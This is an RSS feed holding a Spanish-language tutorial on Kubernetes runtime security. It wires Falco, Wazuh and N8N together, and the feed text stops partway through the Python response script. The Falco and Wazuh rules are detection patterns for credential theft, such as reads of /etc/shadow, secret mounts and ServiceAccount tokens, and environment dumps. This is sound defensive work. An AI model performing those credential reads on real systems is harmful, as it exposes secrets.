<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Santiago Fernandez | Ciberseguridad]]></title><description><![CDATA[CISSP | CISM | CDPSE | CCSK | CSX | MCSA | SMAC™ | DSOE | DEPC | CSFPC | CSFPC | 5x AWS Certified.]]></description><link>https://blog.santiagoagustinfernandez.com</link><generator>RSS for Node</generator><lastBuildDate>Mon, 13 Apr 2026 20:36:55 GMT</lastBuildDate><atom:link href="https://blog.santiagoagustinfernandez.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Kubernetes Runtime Security. De una curiosidad a un flujo de Seguridad inteligente.]]></title><description><![CDATA[Introducción
Todos hemos vivido ese momento: alguien abre un pod en producción, ejecuta un printenv y revisa una variable sensible. A veces es por curiosidad, otras por necesidad técnica… pero ¿y si no fue un desarrollador? ¿y si fue una cuenta compr...]]></description><link>https://blog.santiagoagustinfernandez.com/kubernetes-runtime-security-de-una-curiosidad-a-un-flujo-de-seguridad-inteligente</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/kubernetes-runtime-security-de-una-curiosidad-a-un-flujo-de-seguridad-inteligente</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[falco]]></category><category><![CDATA[n8n]]></category><category><![CDATA[Vault]]></category><category><![CDATA[wazuh]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Mon, 01 Dec 2025 01:26:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1764552312517/503bd38c-00bd-4c9f-a12c-0065ba4a9957.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-introduccion">Introducción</h3>
<p>Todos hemos vivido ese momento: alguien abre un pod en producción, ejecuta un <code>printenv</code> y revisa una variable sensible. A veces es por curiosidad, otras por necesidad técnica… pero ¿y si no fue un desarrollador? ¿y si fue una cuenta comprometida?</p>
<p>Aquí es donde <strong>Falco</strong> 🦅 entra en escena.</p>
<p>Vamos a crear un escenario simple pero poderoso:<br />Un desarrollador curioso inspecciona una variable de entorno en un contenedor de producción. <strong>Falco</strong> detecta el evento en tiempo real y lo envía a <strong>Wazuh</strong>, donde lo enriquecemos, clasificamos y correlacionamos. Desde ahí, disparamos acciones automáticas con <strong>N8N</strong>.</p>
<p>¿Qué acciones? Las que queramos:</p>
<p>🔄 Rotar credenciales en Vault<br />📦 Regenerar Pods afectados<br />📑 Extraer registros para análisis forense<br />🔔 Notificar por Slack o Teams</p>
<p>Lo interesante es que no perseguimos al developer: <strong>aprovechamos la señal para fortalecer la seguridad.</strong></p>
<p><strong>Falco</strong> supervisa el comportamiento en tiempo real dentro de Kubernetes. <strong>Wazuh</strong> examina el contexto y clasifica el evento. <strong>N8N</strong> coordina la respuesta automática. De una simple curiosidad, surge un flujo de seguridad inteligente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764529874629/59352bbd-28f3-4357-ad99-1c335a3d2c82.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-falco">Falco</h3>
<p>Vamos a crear el archivo de configuración de <strong>falco</strong> <code>falco-values-complete.yaml</code>, para luego instalar con Helm.</p>
<pre><code class="lang-basic">falco:
  json_output: true
  json_include_output_property: true
  json_include_tags_property: true

  grpc:
    enabled: true
    bind_address: <span class="hljs-string">"0.0.0.0:5060"</span>

  grpc_output:
    enabled: true

driver:
  kind: modern_ebpf

falcosidekick:
  enabled: true
  replicaCount: <span class="hljs-number">2</span>
  hostNetwork: true
  dnsPolicy: ClusterFirstWithHostNet

  config:
    syslog:
      host: <span class="hljs-string">"192.168.0.67"</span>  # ← IP CORRECTA
      port: <span class="hljs-string">"514"</span>
      protocol: <span class="hljs-string">"udp"</span>
      format: <span class="hljs-string">"json"</span>
      minimumpriority: <span class="hljs-string">"notice"</span>

customRules:
  secrets-detection.yaml: |-
    - rule: <span class="hljs-keyword">Read</span> Sensitive File Untrusted
      desc: Detect attempts <span class="hljs-keyword">to</span> <span class="hljs-keyword">read</span> sensitive <span class="hljs-keyword">system</span> <span class="hljs-keyword">files</span>
      condition: &gt;
        open_read <span class="hljs-keyword">and</span>
        container <span class="hljs-keyword">and</span>
        fd.<span class="hljs-keyword">name</span> in (/etc/shadow, /etc/sudoers, /etc/pam.conf)
      output: &gt;
        Sensitive file opened <span class="hljs-keyword">for</span> reading
        (file=%fd.<span class="hljs-keyword">name</span> command=%proc.cmdline user=%user.<span class="hljs-keyword">name</span>
        container=%container.<span class="hljs-keyword">name</span> k8s_pod=%k8s.pod.<span class="hljs-keyword">name</span> k8s_ns=%k8s.ns.<span class="hljs-keyword">name</span>)
      priority: WARNING
      tags: [filesystem, mitre_credential_access, T1555]

    - rule: <span class="hljs-keyword">Read</span> Kubernetes Secret File
      desc: Detect <span class="hljs-keyword">read</span> operations <span class="hljs-keyword">on</span> Kubernetes secret <span class="hljs-keyword">files</span>
      condition: &gt;
        open_read <span class="hljs-keyword">and</span>
        container <span class="hljs-keyword">and</span>
        fd.<span class="hljs-keyword">name</span> startswith <span class="hljs-string">"/etc/secrets/"</span>
      output: &gt;
        Kubernetes secret file accessed
        (file=%fd.<span class="hljs-keyword">name</span> command=%proc.cmdline user=%user.<span class="hljs-keyword">name</span>
        container=%container.<span class="hljs-keyword">name</span> k8s_pod=%k8s.pod.<span class="hljs-keyword">name</span> k8s_ns=%k8s.ns.<span class="hljs-keyword">name</span>)
      priority: WARNING
      tags: [kubernetes, secrets, T1552.<span class="hljs-number">007</span>, mitre_credential_access]

    - rule: <span class="hljs-keyword">Read</span> Application Secret <span class="hljs-keyword">Files</span>
      desc: Detect unauthorized access <span class="hljs-keyword">to</span> application secret <span class="hljs-keyword">files</span>
      condition: &gt;
        open_read <span class="hljs-keyword">and</span>
        container <span class="hljs-keyword">and</span>
        fd.<span class="hljs-keyword">name</span> startswith <span class="hljs-string">"/tmp/app-config/"</span>
      output: &gt;
        Application secret file accessed
        (file=%fd.<span class="hljs-keyword">name</span> command=%proc.cmdline user=%user.<span class="hljs-keyword">name</span>
        container=%container.<span class="hljs-keyword">name</span> k8s_pod=%k8s.pod.<span class="hljs-keyword">name</span> k8s_ns=%k8s.ns.<span class="hljs-keyword">name</span>)
      priority: WARNING
      tags: [filesystem, application, mitre_credential_access, T1552, secrets]

    - rule: Environment Variables Dumped
      desc: Detect attempts <span class="hljs-keyword">to</span> dump environment variables
      condition: &gt;
        spawned_process <span class="hljs-keyword">and</span>
        container <span class="hljs-keyword">and</span>
        proc.<span class="hljs-keyword">name</span> in (printenv, env)
      output: &gt;
        Environment variables dumped
        (command=%proc.cmdline user=%user.<span class="hljs-keyword">name</span>
        container=%container.<span class="hljs-keyword">name</span> k8s_pod=%k8s.pod.<span class="hljs-keyword">name</span> k8s_ns=%k8s.ns.<span class="hljs-keyword">name</span>)
      priority: NOTICE
      tags: [process, mitre_credential_access, T1552.<span class="hljs-number">007</span>]

    - rule: Environment Variables Dumped in Production
      desc: Detect env dumps in production namespace
      condition: &gt;
        spawned_process <span class="hljs-keyword">and</span>
        container <span class="hljs-keyword">and</span>
        k8s.ns.<span class="hljs-keyword">name</span> = <span class="hljs-string">"production"</span> <span class="hljs-keyword">and</span>
        proc.<span class="hljs-keyword">name</span> in (env, printenv)
      output: &gt;
        Environment variables accessed in production
        (command=%proc.cmdline user=%user.<span class="hljs-keyword">name</span>
        container=%container.<span class="hljs-keyword">name</span> k8s_pod=%k8s.pod.<span class="hljs-keyword">name</span> k8s_ns=%k8s.ns.<span class="hljs-keyword">name</span>)
      priority: WARNING
      tags: [kubernetes, secrets, production, T1552.<span class="hljs-number">007</span>, mitre_credential_access]

    - rule: <span class="hljs-keyword">Read</span> ServiceAccount Token
      desc: Detect reading of Kubernetes ServiceAccount token
      condition: &gt;
        open_read <span class="hljs-keyword">and</span>
        container <span class="hljs-keyword">and</span>
        fd.<span class="hljs-keyword">name</span> startswith <span class="hljs-string">"/var/run/secrets/kubernetes.io/serviceaccount/token"</span>
      output: &gt;
        ServiceAccount token accessed
        (file=%fd.<span class="hljs-keyword">name</span> command=%proc.cmdline user=%user.<span class="hljs-keyword">name</span>
        container=%container.<span class="hljs-keyword">name</span> k8s_pod=%k8s.pod.<span class="hljs-keyword">name</span> k8s_ns=%k8s.ns.<span class="hljs-keyword">name</span>)
      priority: WARNING
      tags: [kubernetes, credentials, mitre_credential_access, T1552.<span class="hljs-number">007</span>]

resources:
  requests:
    cpu: <span class="hljs-number">100</span>m
    memory: <span class="hljs-number">512</span>Mi
  limits:
    cpu: <span class="hljs-number">1000</span>m
    memory: <span class="hljs-number">1024</span>Mi
</code></pre>
<blockquote>
<p>No te olvides de poner la dirección de tu Wazuh.</p>
</blockquote>
<p>Ahora instalamos el Helm.</p>
<pre><code class="lang-basic">helm install falco falcosecurity/falco \
  --namespace falco \
  -f falco-values-complete.yaml
</code></pre>
<h3 id="heading-wazuh">Wazuh</h3>
<p>No me voy a poner a explicar el uso de <strong>Wazuh</strong>, ya lo he tocado en otros post’s. Pero si les voy a pegar lo mas importante de esta configuración.</p>
<p>Primero el decoder en <code>/var/ossec/etc/decoders/falco-decoder.xml</code>.</p>
<pre><code class="lang-xml"># /var/ossec/etc/decoders/falco-decoder.xml
<span class="hljs-tag">&lt;<span class="hljs-name">decoder</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"falco"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">prematch</span>&gt;</span>Falco<span class="hljs-tag">&lt;/<span class="hljs-name">prematch</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">decoder</span>&gt;</span>
</code></pre>
<p>Segundo las reglas en <code>/var/ossec/etc/rules/falco-rules.xml</code>.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">group</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"falco,"</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Regla base - IMPORTANTE: decoded_as debe ser "falco-json" --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100600"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"0"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">decoded_as</span>&gt;</span>falco-json<span class="hljs-tag">&lt;/<span class="hljs-name">decoded_as</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco: Runtime security event<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Por prioridad --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100603"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100600<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>"priority":"Warning"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco Warning Alert<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>falco,warning,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100605"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100600<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>"priority":"Critical"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco Critical Alert<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>falco,critical,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- PRODUCCIÓN - Máxima prioridad --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100610"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"15"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100603,100605<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>"k8s.ns.name":"production"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco CRITICAL: Alerta en namespace PRODUCTION<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>falco,production,high_priority,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Detección de lectura de secretos montados (patrón en full_log) --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100620"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100600<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>"fd.name":"/etc/secrets/<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco: Acceso a secreto K8s montado<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>falco,credential_access,secrets,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1552.007<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Lectura de /etc/shadow --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100621"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100600<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>"fd.name":"/etc/shadow"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco: Lectura de /etc/shadow<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>falco,credential_access,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1552.001<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Acceso a secretos en PRODUCCIÓN - CRÍTICO --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100625"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"15"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100620<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>"k8s.ns.name":"production"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco CRITICAL: Developer accediendo a secretos en PRODUCCIÓN<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>falco,production,credential_access,unauthorized_access,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1552.007<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Detección por nombre de regla de Falco - Read Kubernetes Secret File --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100640"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"14"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100600<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Kubernetes secret file accessed<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco: Lectura de archivo de secreto K8s detectada<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>falco,kubernetes,secrets,credential_access,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1552.007<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Variables de entorno dumpeadas en producción --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100641"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"12"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100600<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>Environment variables accessed in production<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco: Variables de entorno accedidas en producción<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>falco,kubernetes,production,credential_access,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1552.007<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

  <span class="hljs-comment">&lt;!-- Combinada: Secret file en producción con regla custom de Falco --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">rule</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"100650"</span> <span class="hljs-attr">level</span>=<span class="hljs-string">"16"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">if_sid</span>&gt;</span>100640<span class="hljs-tag">&lt;/<span class="hljs-name">if_sid</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">match</span>&gt;</span>"k8s.ns.name":"production"<span class="hljs-tag">&lt;/<span class="hljs-name">match</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">description</span>&gt;</span>Falco CRITICAL: Archivo de secreto K8s accedido en PRODUCCIÓN - Pod: webapp<span class="hljs-tag">&lt;/<span class="hljs-name">description</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">group</span>&gt;</span>falco,production,kubernetes,credential_access,critical,<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">mitre</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>T1552.007<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">mitre</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">rule</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">group</span>&gt;</span>
</code></pre>
<p>Aquí está la integración.</p>
<p>No olvides incluir el puerto UDP 514 en <code>ossec.con</code>f y esta porción:</p>
<pre><code class="lang-basic">  &lt;active-response&gt;
    &lt;command&gt;n8n-webhook&lt;/command&gt;
    &lt;location&gt;server&lt;/location&gt;
    &lt;rules_group&gt;falco&lt;/rules_group&gt;
    &lt;level&gt;<span class="hljs-number">12</span>&lt;/level&gt;
  &lt;/active-response&gt;
</code></pre>
<h3 id="heading-incident-and-response">Incident and Response</h3>
<p>Aquí dejo el script que realiza la magia detrás de escena, para el análisis y la llamada a cada <em>webhook</em> junto con su wrapper. Este Python <code>/var/ossec/active-response/bin/parse-and-send.py</code>.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime

<span class="hljs-comment"># URLs de N8N</span>
N8N_TRIAGE = <span class="hljs-string">"http://192.168.0.12:5678/webhook/falco-triage"</span>
N8N_FORENSICS = <span class="hljs-string">"http://192.168.0.12:5678/webhook/falco-forensics"</span>
N8N_CONTAINMENT = <span class="hljs-string">"http://192.168.0.12:5678/webhook/falco-containment"</span>

<span class="hljs-comment"># Directorio de evidencia</span>
FORENSICS_DIR = <span class="hljs-string">"/var/ossec/logs/forensics"</span>

<span class="hljs-comment"># Ruta completa de kubectl (para forensics)</span>
KUBECTL = <span class="hljs-string">"/usr/local/bin/kubectl"</span>

<span class="hljs-keyword">try</span>:
    input_data = sys.stdin.read().strip()

    <span class="hljs-comment"># Extraer campos con regex</span>
    alert_id_match = re.search(<span class="hljs-string">r'"id":"([^"]+)"'</span>, input_data)
    rule_id_match = re.search(<span class="hljs-string">r'"rule":\{[^}]*"id":"([^"]+)"'</span>, input_data)
    rule_level_match = re.search(<span class="hljs-string">r'"level":(\d+)'</span>, input_data)
    rule_desc_match = re.search(<span class="hljs-string">r'"description":"([^"]+)"'</span>, input_data)
    timestamp_match = re.search(<span class="hljs-string">r'"timestamp":"([^"]+)"'</span>, input_data)

    full_log_match = re.search(<span class="hljs-string">r'"full_log":"(.+?)","decoder"'</span>, input_data)
    full_log = full_log_match.group(<span class="hljs-number">1</span>) <span class="hljs-keyword">if</span> full_log_match <span class="hljs-keyword">else</span> <span class="hljs-string">""</span>

    <span class="hljs-comment"># Parsear Falco JSON</span>
    falco_data = {}
    falco_match = re.search(<span class="hljs-string">r'Falco\[\d+\]:\s*(\{.+\})'</span>, full_log)
    <span class="hljs-keyword">if</span> falco_match:
        falco_json_str = falco_match.group(<span class="hljs-number">1</span>).replace(<span class="hljs-string">'\\'</span>, <span class="hljs-string">''</span>)
        <span class="hljs-keyword">try</span>:
            falco_data = json.loads(falco_json_str)
        <span class="hljs-keyword">except</span>:
            <span class="hljs-keyword">pass</span>

    <span class="hljs-comment"># Extraer MITRE</span>
    mitre_ids = re.findall(<span class="hljs-string">r'"mitre":\{[^}]*"id":\[([^\]]+)\]'</span>, input_data)
    mitre_id = mitre_ids[<span class="hljs-number">0</span>].replace(<span class="hljs-string">'"'</span>, <span class="hljs-string">''</span>).strip() <span class="hljs-keyword">if</span> mitre_ids <span class="hljs-keyword">else</span> <span class="hljs-string">'N/A'</span>

    rule_id = rule_id_match.group(<span class="hljs-number">1</span>) <span class="hljs-keyword">if</span> rule_id_match <span class="hljs-keyword">else</span> <span class="hljs-string">'N/A'</span>
    rule_level = int(rule_level_match.group(<span class="hljs-number">1</span>)) <span class="hljs-keyword">if</span> rule_level_match <span class="hljs-keyword">else</span> <span class="hljs-number">0</span>

    namespace = falco_data.get(<span class="hljs-string">'output_fields'</span>, {}).get(<span class="hljs-string">'k8s.ns.name'</span>, <span class="hljs-string">'unknown'</span>)
    pod = falco_data.get(<span class="hljs-string">'output_fields'</span>, {}).get(<span class="hljs-string">'k8s.pod.name'</span>, <span class="hljs-string">'unknown'</span>)

    <span class="hljs-comment"># Payload común</span>
    payload = {
        <span class="hljs-string">'alert_id'</span>: alert_id_match.group(<span class="hljs-number">1</span>) <span class="hljs-keyword">if</span> alert_id_match <span class="hljs-keyword">else</span> <span class="hljs-string">'N/A'</span>,
        <span class="hljs-string">'rule_id'</span>: rule_id,
        <span class="hljs-string">'rule_level'</span>: str(rule_level),
        <span class="hljs-string">'rule_description'</span>: rule_desc_match.group(<span class="hljs-number">1</span>) <span class="hljs-keyword">if</span> rule_desc_match <span class="hljs-keyword">else</span> <span class="hljs-string">'N/A'</span>,
        <span class="hljs-string">'timestamp'</span>: timestamp_match.group(<span class="hljs-number">1</span>) <span class="hljs-keyword">if</span> timestamp_match <span class="hljs-keyword">else</span> <span class="hljs-string">''</span>,
        <span class="hljs-string">'k8s_namespace'</span>: namespace,
        <span class="hljs-string">'k8s_pod'</span>: pod,
        <span class="hljs-string">'container_id'</span>: falco_data.get(<span class="hljs-string">'output_fields'</span>, {}).get(<span class="hljs-string">'container.id'</span>, <span class="hljs-string">'unknown'</span>),
        <span class="hljs-string">'command'</span>: falco_data.get(<span class="hljs-string">'output_fields'</span>, {}).get(<span class="hljs-string">'proc.cmdline'</span>, <span class="hljs-string">'unknown'</span>),
        <span class="hljs-string">'file_accessed'</span>: falco_data.get(<span class="hljs-string">'output_fields'</span>, {}).get(<span class="hljs-string">'fd.name'</span>, <span class="hljs-string">'unknown'</span>),
        <span class="hljs-string">'user'</span>: falco_data.get(<span class="hljs-string">'output_fields'</span>, {}).get(<span class="hljs-string">'user.name'</span>, <span class="hljs-string">'root'</span>),
        <span class="hljs-string">'falco_rule'</span>: falco_data.get(<span class="hljs-string">'rule'</span>, <span class="hljs-string">'N/A'</span>),
        <span class="hljs-string">'falco_priority'</span>: falco_data.get(<span class="hljs-string">'priority'</span>, <span class="hljs-string">'N/A'</span>),
        <span class="hljs-string">'mitre_id'</span>: mitre_id
    }

    print(<span class="hljs-string">f"Processing alert - Rule: <span class="hljs-subst">{rule_id}</span>, Level: <span class="hljs-subst">{rule_level}</span>, NS: <span class="hljs-subst">{namespace}</span>, Pod: <span class="hljs-subst">{pod}</span>"</span>)

    <span class="hljs-comment"># ============================================================================</span>
    <span class="hljs-comment"># 1. TRIAGE - Siempre enviar</span>
    <span class="hljs-comment"># ============================================================================</span>
    result = subprocess.run(
        [<span class="hljs-string">'curl'</span>, <span class="hljs-string">'-X'</span>, <span class="hljs-string">'POST'</span>, N8N_TRIAGE,
         <span class="hljs-string">'-H'</span>, <span class="hljs-string">'Content-Type: application/json'</span>,
         <span class="hljs-string">'-d'</span>, json.dumps(payload),
         <span class="hljs-string">'--max-time'</span>, <span class="hljs-string">'10'</span>],
        capture_output=<span class="hljs-literal">True</span>, text=<span class="hljs-literal">True</span>
    )
    print(<span class="hljs-string">f"TRIAGE - Sent to Slack"</span>)
    time.sleep(<span class="hljs-number">2</span>)

    <span class="hljs-comment"># ============================================================================</span>
    <span class="hljs-comment"># 2. FORENSICS - Para alertas level &gt;= 12</span>
    <span class="hljs-comment"># ============================================================================</span>
